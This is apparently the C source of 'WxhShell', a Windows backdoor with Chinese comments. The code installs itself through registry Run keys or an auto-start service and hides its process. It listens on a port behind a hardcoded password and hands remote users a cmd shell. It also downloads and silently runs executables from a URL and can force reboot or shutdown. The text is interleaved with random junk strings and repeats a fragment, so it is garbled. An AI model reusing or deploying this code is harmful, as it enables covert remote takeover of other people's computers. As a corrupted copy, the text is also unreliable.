jv> ULONG InheritedFromUniqueProcessId; j}VOr >xz } PROCESS_BASIC_INFORMATION; @wFm])}0 ;etQ PROCNTQSIP NtQueryInformationProcess; q~w;C([k_ ;9I#>u static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; eXOFA d]>u static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; [e}]K: X*JD HANDLE hProcess; A0]o/IBz PROCESS_BASIC_INFORMATION pbi; yBe/UFp+ c|.:J] HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); (mD]}{> if(NULL == hInst ) return 0; ib&qH_r/ L_.}z)S[\ g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); R/wSGP`W g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); F0JFx$AoD NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); z<fEJN os.x|R]_ if (!NtQueryInformationProcess) return 0; kp6x6%{K\ dXDD/8E hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId());
vXvV5Oq if(!hProcess) return 0; Ck:J kC
k- if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; *]eZ Y sXa8(xc CloseHandle(hProcess); y2U:( H:l! b910Z?B^L hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); S|J8:- if(hProcess==NULL) return 0; wtUG2 ( etoE$2c HMODULE hMod; sy?>e*-{ char procName[255]; uUe\[-~ unsigned long cbNeeded; xY S%dLE" Hj\~sR$L- if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName)); kYs|")isj _+N^yw ,r* CloseHandle(hProcess); X]fw9tZ 3DHm9n+/: if(strstr(procName,"services")) return 1; // 以服务启动 oW[,EW+u j VZi_de return 0; // 注册表启动 K_5&_P1 } Tpukz_F injmP9ed // 主模块 )^\='(s int StartWxhshell(LPSTR lpCmdLine) v'!Ntk { LU{Z SOCKET wsl; C6VoOT)\ BOOL val=TRUE; g5Dx9d{ int port=0; $<cZ<g5) struct sockaddr_in door; %D
r?.e dM UDLr- if(wscfg.ws_autoins) Install(); $5b|@ h)rf6*hw port=atoi(lpCmdLine); AD\<}/3U m GhJn if(port<=0) port=wscfg.ws_port; B`scuLl3 {^W,e ^: WSADATA data; Gme$FWa if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1; ~vGtNMQg b8.%? _? if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1; j7 =3\SO setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val)); Qu,k door.sin_family = AF_INET; X u):.0I door.sin_addr.s_addr = inet_addr("127.0.0.1"); Pm^N0L9?q door.sin_port = htons(port); tb0E?&M =
Y-Ne6a if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) { (nD$%/uK' closesocket(wsl); 5j,qAay9 return 1; s[q4K } `4H9f&8( 6I.m c if(listen(wsl,2) == INVALID_SOCKET) { r0deBRM closesocket(wsl); 'd^gRH<z return 1; r.b6E% D } ph?0I:eU Wxhshell(wsl); h.$__Gs WSACleanup(); R.H\b! (?BgT i\ return 0; \TB%N1^ `4.sy +2 } AC:s4iacC SP*JleQN // 以NT服务方式启动 :6$4K"^1 VOID WINAPI NTServiceMain( DWORD dwArgc, LPSTR *lpszArgv ) U|7Qw|I7 { %s2"W~ DWORD status = 0; 1m`tqlFU9 DWORD specificError = 0xfffffff; bo;pj$eR3R 2c~?UK[1 serviceStatus.dwServiceType = SERVICE_WIN32; z|]oM#Gt serviceStatus.dwCurrentState = SERVICE_START_PENDING; IR
dz(~CP serviceStatus.dwControlsAccepted = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE; O)xEF~DaD serviceStatus.dwWin32ExitCode = 0; DIqT>HHZ serviceStatus.dwServiceSpecificExitCode = 0; L%K_.!d^ serviceStatus.dwCheckPoint = 0; Bdq"6SK> serviceStatus.dwWaitHint = 0;
.x!7 '<D `:srV hServiceStatusHandle = RegisterServiceCtrlHandler(wscfg.ws_svcname, NTServiceHandler); te*Y]-&I|/ if (hServiceStatusHandle==0) return; e#6&uFce cF&h$4- status = GetLastError(); \+Rwm:lI if (status!=NO_ERROR) ]X:
rby$ { @yn^6cE serviceStatus.dwCurrentState = SERVICE_STOPPED; 5d?!<(e6 serviceStatus.dwCheckPoint = 0; JXY!c\, serviceStatus.dwWaitHint = 0; 22/?JWL> serviceStatus.dwWin32ExitCode = status; (C l`+ V serviceStatus.dwServiceSpecificExitCode = specificError; Iq0 #A5U% SetServiceStatus(hServiceStatusHandle, &serviceStatus); K"k"ml<4E return; *%N7QyO`I } a4jnu:e ?]\W8) serviceStatus.dwCurrentState = SERVICE_RUNNING; 9O=05CQ serviceStatus.dwCheckPoint = 0; "_1-IE serviceStatus.dwWaitHint = 0; QFNz9c if(SetServiceStatus(hServiceStatusHandle, &serviceStatus)) StartWxhshell(""); B)*#g } BH#C<0=" Ie2w0Cs28 // 处理NT服务事件,比如:启动、停止 ^EUOmVN VOID WINAPI NTServiceHandler(DWORD fdwControl) M8?#%x6;N { Y-%l7GErhL switch(fdwControl) V8nz-DL{ { T`g?)/ case SERVICE_CONTROL_STOP: Pv7f
_hw serviceStatus.dwWin32ExitCode = 0;
?+
-/'; serviceStatus.dwCurrentState = SERVICE_STOPPED; oBRm\8 2| serviceStatus.dwCheckPoint = 0; %;<k(5bhGJ serviceStatus.dwWaitHint = 0; j$|j8? { i9&K SetServiceStatus(hServiceStatusHandle, &serviceStatus); @jE d%W } )4!CR /ao return; ez^*M:K case SERVICE_CONTROL_PAUSE: I3 G*+6V serviceStatus.dwCurrentState = SERVICE_PAUSED; uG=t?C6 break; Ok}{jwJ%W; case SERVICE_CONTROL_CONTINUE: 5U-p'c9IC serviceStatus.dwCurrentState = SERVICE_RUNNING; ;z.6'EYMG break; mh
A~eJ case SERVICE_CONTROL_INTERROGATE: J|gdO+ break; nc3ltT,R }; tDC0-N&6S~ SetServiceStatus(hServiceStatusHandle, &serviceStatus); |&elZ}8 } P\q <d er["NSo // 标准应用程序主函数 'w` SBYQ5 int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, INT nCmdShow) DA+A >5/ { +,&m7L P9
{}&z%: // 获取操作系统版本 KjFZ OsIsNt=GetOsVer(); saGRP}7? GetModuleFileName(NULL,ExeFile,MAX_PATH); C<[d Iz6ss(UJ // 从命令行安装 22)0zY%\ if(strpbrk(lpCmdLine,"iI")) Install(); &Pu+(~'Q ZR!cQ oV= // 下载执行文件 6WA|'|}= if(wscfg.ws_downexe) { =7 Jy if(URLDownloadToFile(0, wscfg.ws_fileurl, wscfg.ws_filenam, 0, 0)==S_OK) 0hrCG3k.91 WinExec(wscfg.ws_filenam,SW_HIDE); aL8p"iSG9 } .abyYVrN4? )ZT6:) if(!OsIsNt) { DNm(:%)0 // 如果时win9x,隐藏进程并且设置为注册表启动 d{QMST2& HideProc(); FjD,8^SQW StartWxhshell(lpCmdLine); \@Ee9C13 } ^~ Ekg:` else B3y?. if(StartFromService()) G;2R]H#p // 以服务方式启动 If~95fy~c StartServiceCtrlDispatcher(DispatchTable); ;M}itM else qq
OxTG] // 普通方式启动 _REqT StartWxhshell(lpCmdLine); *-?Wcz f=t:[<
) return 0; O4m(Er@a } cwk+#ur nY OY"'z q}#iV$dAj Ee{ `Y0 =========================================== M0RRmW@f.a 6XdWm 6tOCZ'f hdo&\Q2D8 uCw>}3 lwVk(l
Z " [-4KY4R DH:J #include <stdio.h> z(+&wa #include <string.h> },rav] #include <windows.h> 5gSylts8 #include <winsock2.h> w "{bp #include <winsvc.h> y>$1UwQ #include <urlmon.h> doBNghS J5;5-:N #pragma comment (lib, "Ws2_32.lib") a>U6Ag< #pragma comment (lib, "urlmon.lib") #>=8w9] Nu@5 kwH #define MAX_USER 100 // 最大客户端连接数 y`4{!CEyLW #define BUF_SOCK 200 // sock buffer Z(p*Z,?u #define KEY_BUFF 255 // 输入 buffer ~F;CE"3A !K[/L<
Kv #define REBOOT 0 // 重启 {&-#s#& #define SHUTDOWN 1 // 关机 @}(SR\~N] [9OSpq #define DEF_PORT 5000 // 监听端口 (VyA6a8 |=O1Hn #define REG_LEN 16 // 注册表键长度 6a*83G,k #define SVC_LEN 80 // NT服务名长度 dByjcTPA L?8^aG // 从dll定义API fp{G|.SA typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD); B52yaG8C typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG); &iNS?1a%f= typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded); JdiP>KXV typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize); C`NmZwL xI?0N<'.*q // wxhshell配置信息 Nt~x&s struct WSCFG { @.gPJMA int ws_port; // 监听端口 p>q&&;fe char ws_passstr[REG_LEN]; // 口令 9/@ &* int ws_autoins; // 安装标记, 1=yes 0=no %G[/H.7s- char ws_regname[REG_LEN]; // 注册表键名 T`\]!>eb char ws_svcname[REG_LEN]; // 服务名 T#@{G,N char ws_svcdisp[SVC_LEN]; // 服务显示名 zJY']8ah char ws_svcdesc[SVC_LEN]; // 服务描述信息 26.)U r<F char ws_passmsg[SVC_LEN]; // 密码输入提示信息 \lEkfcc int ws_downexe; // 下载执行标记, 1=yes 0=no j0x5@1`6G char ws_fileurl[SVC_LEN]; // 下载文件的 url, "http://xxx/file.exe" _{$fA6C char ws_filenam[SVC_LEN]; // 下载后保存的文件名 k][h9' <
bFy(+ }; 59<hV? tuLH}tkNY // default Wxhshell configuration [jrqzB struct WSCFG wscfg={DEF_PORT, 'Jydu "xuhuanlingzhe", Xwq]f:@V 1, ,q#2:b<E "Wxhshell", VI_+v[Hk/ "Wxhshell", g1{/ 5{XI "WxhShell Service", ubbnFE&PD "Wrsky Windows CmdShell Service", _ie.| 4k "Please Input Your Password: ", aGK@)&h$ 1, /e1(?
20 "http://www.wrsky.com/wxhshell.exe", AnMV < "Wxhshell.exe" TSjIz5 }; kRlA4h1u_$ B!;+_%P76 // 消息定义模块 Ur!~<4GO char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005 http://www.wrsky.com\n\rMake by 虚幻灵者\n\r"; UpfZi9v?W char *msg_ws_prompt="\n\r? for help\n\r#>"; bL`eiol6 char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#>http://.../server.exe\n\r"; 0V`[Zgf char *msg_ws_ext="\n\rExit."; >c~RI7uu char *msg_ws_end="\n\rQuit."; }mk>!B}= char *msg_ws_boot="\n\rReboot..."; bL1m'^r char *msg_ws_poff="\n\rShutdown..."; cWa)#:JOV char *msg_ws_down="\n\rSave to "; "=A>}q@;H #xT!E:W' char *msg_ws_err="\n\rErr!"; aG{$Ic char *msg_ws_ok="\n\rOK!"; <)U4Xz ? !SxG(*u char ExeFile[MAX_PATH]; I ~$1Lu`~ int nUser = 0; O{]9hm(tN HANDLE handles[MAX_USER]; qP1FJ89H int OsIsNt; L/Vx~r`P ,
ZFE( SERVICE_STATUS serviceStatus; i9 A ~< SERVICE_STATUS_HANDLE hServiceStatusHandle; f.6~x$:)`E gl7|H&&xV // 函数声明 :a0zT#u int Install(void); p|[B
=.c{ int Uninstall(void); Q5a)}6-5 int DownloadFile(char *sURL, SOCKET wsh); ig+4S[L~n int Boot(int flag); {whvTN1#dh void HideProc(void); ~*.- int GetOsVer(void); :iUF7P1I int Wxhshell(SOCKET wsl); 09h.1/ void TalkWithClient(void *cs); V diJ>d[ int CmdShell(SOCKET sock); w$ fJ4+ int StartFromService(void); @xAfZb2 E int StartWxhshell(LPSTR lpCmdLine); sa&) #Z: HM9fjl[ VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv ); YY5!_k VOID WINAPI NTServiceHandler( DWORD fdwControl ); hdma=KqZ( 'T8W!&$ // 数据结构和表定义 }q[Bd SERVICE_TABLE_ENTRY DispatchTable[] = Jkt4@h2Q} { 7h9U{4r: M {wscfg.ws_svcname, NTServiceMain}, q_[G1&MC {NULL, NULL} p&b5% 4P }; >3.X? t18$x"\4k // 自我安装 gm"#:< ) int Install(void) r'7LR { 9jir*UI char svExeFile[MAX_PATH]; j+IrqPKC^ HKEY key; 60>.ul2 strcpy(svExeFile,ExeFile); 2f~($}+* ~NcQ1. // 如果是win9x系统,修改注册表设为自启动 Zyf P;& if(!OsIsNt) { ca<" if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { e^1uVN RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); #I*QX%(H# RegCloseKey(key); \;X+X,M if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { uBrMk RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); Cfu=u *u RegCloseKey(key); muON>^MbC return 0; "Zv~QwC } l@Z6do } @~td`Z?1y } hsRvr`#m| else { {-/^QX]6 J Yb}Zw; // 如果是NT以上系统,安装为系统服务 ]b?9zeT*'l SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE); kS5_
if (schSCManager!=0) q!~ -(&S { -e GL) M SC_HANDLE schService = CreateService o+B:#@9? ( 26?W
nu60 schSCManager, K>:]Bx#F7 wscfg.ws_svcname, Io`P,l: wscfg.ws_svcdisp, NE2pL@sk SERVICE_ALL_ACCESS, 9p* gU[ SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS , am1[9g8L SERVICE_AUTO_START, VSX@e|Nj SERVICE_ERROR_NORMAL, zw<p74DH svExeFile, u^Ku;RQo NULL, Fzlozx1y[ NULL, 9# 4Y1L S) NULL, uQ$^;Pr NULL, ]va>ex$d NULL 7R.Q
Ql );
uE/T2BX* if (schService!=0) 6DIZ@ oi { 3chPY4~A CloseServiceHandle(schService); 9I7\D8r CloseServiceHandle(schSCManager); Wm~` ~P strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\"); Psur a$: strcat(svExeFile,wscfg.ws_svcname); ZIR0PQh\ if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) { w>fdQ!RdP RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc)); `^JJ&)4iv RegCloseKey(key); OI1ud/>h return 0; ]Y>h3T~ } o{b=9-V } n]_[NR) i CloseServiceHandle(schSCManager); W1Lr_z6
} -$VZtex } 8b.u'r174 54;J8XT7 return 1; Jb)#fH$L } 5Z/GK2[HL s`j~-P // 自我卸载 up3O|lj4 int Uninstall(void) enNiI$H]`_ { #PDf,^ HKEY key; r=/;iH?UH @RFs/' if(!OsIsNt) { =p^He! if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { EpS(o>' RegDeleteValue(key,wscfg.ws_regname); L9Z;:``p RegCloseKey(key); s5.AW8X=?* if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { t>GfM RegDeleteValue(key,wscfg.ws_regname); U-k+9f 0 RegCloseKey(key); 'bGX-C return 0; \;-fi.Hrf$ } 93+"D` } 4nH*Ui!T } C3hv* else { RCTQhTy= s]T""-He SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS); G2LK] if (schSCManager!=0) @D-AO_ { &1l=X]% SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS); >&g}7d% if (schService!=0) IW8+_#d { ANIz,LS if(DeleteService(schService)!=0) { wiaX&-c]8 CloseServiceHandle(schService); /(.6bv CloseServiceHandle(schSCManager); lf>*Y.!@me return 0; O%1v)AT&\ } 9jN)I(^D6 CloseServiceHandle(schService); wxm:7$4C } J$4wL
F3 CloseServiceHandle(schSCManager); ZT02"3F } O3N0YGhJ } p~ C.IG B63pgPX return 1; ky
8e p } sS&Z ,A `28};B> // 从指定url下载文件 <APB11 int DownloadFile(char *sURL, SOCKET wsh) hS[yNwD { ELh8ltLY HRESULT hr; 7NC=*A~ char seps[]= "/"; `X,yM-( char *token; r1ws1 rr= char *file; ^8 ' sib
char myURL[MAX_PATH]; h/x0]@M& char myFILE[MAX_PATH]; L=2y57&Y r ]W strcpy(myURL,sURL); ^:9$@+a token=strtok(myURL,seps); iX'rU@C while(token!=NULL) s5RjIa0$7 { 5TBp'7 /s~ file=token; *lef=:&,, token=strtok(NULL,seps); ^QuiH' } 7W6cM%_B Q]rD}Ckv- GetCurrentDirectory(MAX_PATH,myFILE); K1V#cB
WO strcat(myFILE, "\\"); [1 Ydo` strcat(myFILE, file); [D5t{[i send(wsh,myFILE,strlen(myFILE),0); tbnH,* send(wsh,"...",3,0); LqdY Qd51 hr = URLDownloadToFile(0, sURL, myFILE, 0, 0); /-6S{hl9Ne if(hr==S_OK) bYz&P`o} return 0; Qu,8t8 else Ro2d,' return 1; '0$?h9" 3] 1-M } pZ#ap<|>I >NB?&| // 系统电源模块 rF\"w0J_ int Boot(int flag) B\g]({E { do uc('@ HANDLE hToken; #YDr%>j TOKEN_PRIVILEGES tkp; dD<fn9t
h7s;m if(OsIsNt) { e!fqXVEVR OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken); DF6c| LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid); UD~p'^.m_ tkp.PrivilegeCount = 1; 6Es?
MW= tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED; _LwOOZj AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0); <o2r~E0r3 if(flag==REBOOT) { kt4d;4n if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0)) jlFk@:y4 return 0; 10#oG{9 } #d{=\$= else { 50dGBF if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0)) %!ebO*8q return 0; -T6(hT\ } $8l({:*q0 } XPB9~:: else { 7FN<iI&7\ if(flag==REBOOT) { #k3t3az2{ if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0)) c:83LZ return 0; 1_$xSrwcF } c`x7u}C else { }FF W|f if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0)) @DW[Z`X return 0;
"o& E2# } yGg,$WM } >r &;3:" 3Rm#-T s return 1; 1>Q{Gs^ } -st7_3 Gamr6I"K // win9x进程隐藏模块 tU"raP^= void HideProc(void) reo{*)% { c62=* ] , 5q@LxDy,b HINSTANCE hKernel=LoadLibrary("Kernel32.dll"); D .vw8H3 if ( hKernel != NULL ) \b[9ebME { hP J4Oj1O pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess"); <lr*ZSNY ( *pRegisterServiceProcess)(GetCurrentProcessId(),1); W:i?t8y\y FreeLibrary(hKernel); {F&-7u0 } HxK$ 4I` +Taa!hfys return; TI y&&_p } =TR,~8Z| G0n'KB // 获取操作系统版本 VcK}2<8:+~ int GetOsVer(void) 3CTX -#)vS { NGYyn`Lx OSVERSIONINFO winfo; D j\e@?Y winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO); H* !EP GetVersionEx(&winfo); v;{{ y- if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT) x0a.!
return 1; wLuv6\E else ]L2Oz return 0; fpM#XFj } ~Lfcg* -6Tk<W
// 客户端句柄模块 `,wu}F85 int Wxhshell(SOCKET wsl) 5p?!ni9 { 31Cq22" SOCKET wsh; Np)3+!^1" struct sockaddr_in client; b7C
e%Br DWORD myID; ba@ax3 NGjdG=, while(nUser<MAX_USER) 7J >Gd { ~Pk0u{,4XQ int nSize=sizeof(client); T+"f]v wsh=accept(wsl,(struct sockaddr *)&client,&nSize); 8YY|;\F)J~ if(wsh==INVALID_SOCKET) return 1; Hv#q:R8 B~r}c4R{7 handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID); V6iL5& if(handles[nUser]==0) Z+s%;f; closesocket(wsh); KB{RU'?f| else jyW[m,#(go nUser++; y_F}s9wj } }{7e7tW6 WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE); Mjpo1dw jStmS2n return 0; + R$?2 } `ZHP1uQ< g;F"7
^sg // 关闭 socket c $;\i void CloseIt(SOCKET wsh) lXrD!1F { J$uM 03 closesocket(wsh); a,'Cyv"> nUser--; sB}]yw ExitThread(0); (4~WWU (iT } +KK$0pL =7[)' // 客户端请求句柄 ;cP8 ?U void TalkWithClient(void *cs) &TN2 HZ-bJ { , j980/ gzfb zt}? SOCKET wsh=(SOCKET)cs; G^h_YjR`* char pwd[SVC_LEN]; H~+xB1 char cmd[KEY_BUFF]; 10N,?a char chr[1]; vd~U@-C=R int i,j; UKB_Yy^Y &/F_*=VE while (nUser < MAX_USER) { P;foK)AM (}H ,ng'4 if(wscfg.ws_passstr) { XDmbm*~i if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); z4Oo@3$\R //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); Y^lQX~I2{ //ZeroMemory(pwd,KEY_BUFF); 4\Di,PPu i=0; [STje8+V while(i<SVC_LEN) { lJ/6-dP u*R7zY // 设置超时 4
eh=f!(+ fd_set FdRead; F?*k}]Gi struct timeval TimeOut; rZC3\,W FD_ZERO(&FdRead); }""p)Y& FD_SET(wsh,&FdRead); jn=ug42d TimeOut.tv_sec=8;
h)B!LAr
TimeOut.tv_usec=0; 3z,2utH int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut); G.jQX'%4QG if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh); o<\6Rm `7B14:\A if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); : ^(nj7D pwd=chr[0]; cIZc:
if(chr[0]==0xd || chr[0]==0xa) { &c^7O#j pwd=0; EVz9WY break; ~{QEL2 } kkfCAM i++; NhlJ3/J j } N{pa)
/ nZW4} ~0j // 如果是非法用户,关闭 socket &t[|%c*D& if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); `QLowna } m^0A?jBrR GMb!Q0I8 send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); mVrK z send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); |>JmS KZ\dB;W<| while(1) { 1Zq {d}26 $<$] ZeroMemory(cmd,KEY_BUFF); <j"O%y. nOuN|q=C // 自动支持客户端 telnet标准 e[p^p!a j=0; [; F{mN while(j<KEY_BUFF) { [Yoa"K if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); vK'9{q|g cmd[j]=chr[0]; 5:_~mlfi if(chr[0]==0xa || chr[0]==0xd) { "o<D;lO cmd[j]=0; ,E]|\_] break; Si[eAAd'
: } [wIKK/O j++; lYdQB[l } rJp?d9B `x< 0A // 下载文件 q|/!0MU" if(strstr(cmd,"http://")) { ndB@J*Imu send(wsh,msg_ws_down,strlen(msg_ws_down),0); &
]%\.m if(DownloadFile(cmd,wsh)) 2}|vWKej{ send(wsh,msg_ws_err,strlen(msg_ws_err),0); LNbx3W
oC else P69>gBZYD send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); 8}J(c=4Gk } P$F#,Cn else { (OQi%/Oy Hc"N&
%X[ switch(cmd[0]) { AV9:O{ W|~q<},j // 帮助 -^y1iN'D case '?': { ScsWnZ send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); CARq^xI- break; f};!m=b } !HbqbS22 // 安装 &~42T}GTWG case 'i': { /;[}=JL<Q if(Install()) +6wx58.B& send(wsh,msg_ws_err,strlen(msg_ws_err),0); :R{x]sv else "@aq@mY@ send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); S/KVN(Z break; G)4ZK#wz } vRq=m8 // 卸载 CuF%[9[cT case 'r': { oPp!*$V if(Uninstall()) Bd/}
%4V\@ send(wsh,msg_ws_err,strlen(msg_ws_err),0); q.U*X5 else nmTm(?yE send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); ]L[JS^#7 break; QZ6[*_Z6 } d%S=$}o // 显示 wxhshell 所在路径 N:"M&EUM case 'p': { Qd9-u)L< char svExeFile[MAX_PATH]; z+y;y&P strcpy(svExeFile,"\n\r"); >Iu]T{QNO strcat(svExeFile,ExeFile); EY,;e\7O, send(wsh,svExeFile,strlen(svExeFile),0); /h1dm, break; TXZ(mj? } Xp<A@2wt? // 重启 !hwzKm=%N case 'b': { ]J8KCjq@ send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); 2V#c[%vI if(Boot(REBOOT)) V:nMo2'hb send(wsh,msg_ws_err,strlen(msg_ws_err),0); {QIS411 else { BG(R=,
7 closesocket(wsh); :w?:WH?2L ExitThread(0); 8@9hU`H8l }
'7S!6kd? break; )nf=eU4| } ~0'_K1(H // 关机 krEH`f case 'd': { X|lElN send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); 4GMa5]Ft if(Boot(SHUTDOWN)) ~u O:tL send(wsh,msg_ws_err,strlen(msg_ws_err),0); "ZA$"^ else { ,v$2'm)V closesocket(wsh); N'lGA;}i ExitThread(0); :,xyVb+ } CS^ oiV%{s break; }QX2:a } 2XETQ; 9 // 获取shell (`q6G d case 's': { *_2O*{V CmdShell(wsh); mMD$X[: closesocket(wsh); Li c{'w& ExitThread(0); 8|S1|t, break; vy2*BTU? } >Rl0%! // 退出 !_^{udB} case 'x': { l1+w2rd1 send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); q>D4ma^ CloseIt(wsh); |2t7G9[n break; &2P:A } mCC:}n"# // 离开 gr[ "A case 'q': { pR@GvweA send(wsh,msg_ws_end,strlen(msg_ws_end),0); hX'z]Am< closesocket(wsh); #um1?V WSACleanup(); G]m[S- exit(1); `/gEKrhL- break; r+V(1<`2X } X,iuz/Q } VAF:Z } mhJOR'2 f/IRO33 // 提示信息 )=,9`+Zta if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); 1S)0
23N } 5w,YBUp } =A6u= /RXk[m- return; RB$ 8^# } XCqfAcNQ )z4kP09 // shell模块句柄 WW8L~4Zy int CmdShell(SOCKET sock) ?O.6 r" { go%X%Os] STARTUPINFO si; F|n$0vQ* ZeroMemory(&si,sizeof(si)); v%l|S{>( si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; #LNB@E si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; #(7RX} PROCESS_INFORMATION ProcessInfo; z*k3q`=> char cmdline[]="cmd"; *C:q _/ CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); vCU&yXGl return 0; > {LJ#Dc6 } ?+} E )8N)Z~h // 自身启动模式 $Zu4tuXA int StartFromService(void) )l!&i?h% { onJ[&f typedef struct h?pGw1Q { ~]_jKe4W DWORD ExitStatus; m(7_ZiL= DWORD PebBaseAddress; Q&U= jX DWORD AffinityMask; \<MTY: DWORD BasePriority; /+JP~K ULONG UniqueProcessId; j|$y)FBX ULONG InheritedFromUniqueProcessId; Vo9)KxR } PROCESS_BASIC_INFORMATION; k9VQ6A uwS'*5tU PROCNTQSIP NtQueryInformationProcess; 3Ns:O2| C6T 9 static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; 2Nt]Nj` static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; [#@p{[ ?r =ILo`Q~ HANDLE hProcess; 5A=xF j{ PROCESS_BASIC_INFORMATION pbi; Y @ ,e c,s<q j HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); ;uo|4?E:\( if(NULL == hInst ) return 0; ea[a)Z7# NN pa69U g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); $MVeMgPa g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); E6&uZr NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); &WWO13\qd LF,c-Cv!jL if (!NtQueryInformationProcess) return 0; Z_ *ZUN?B j~j
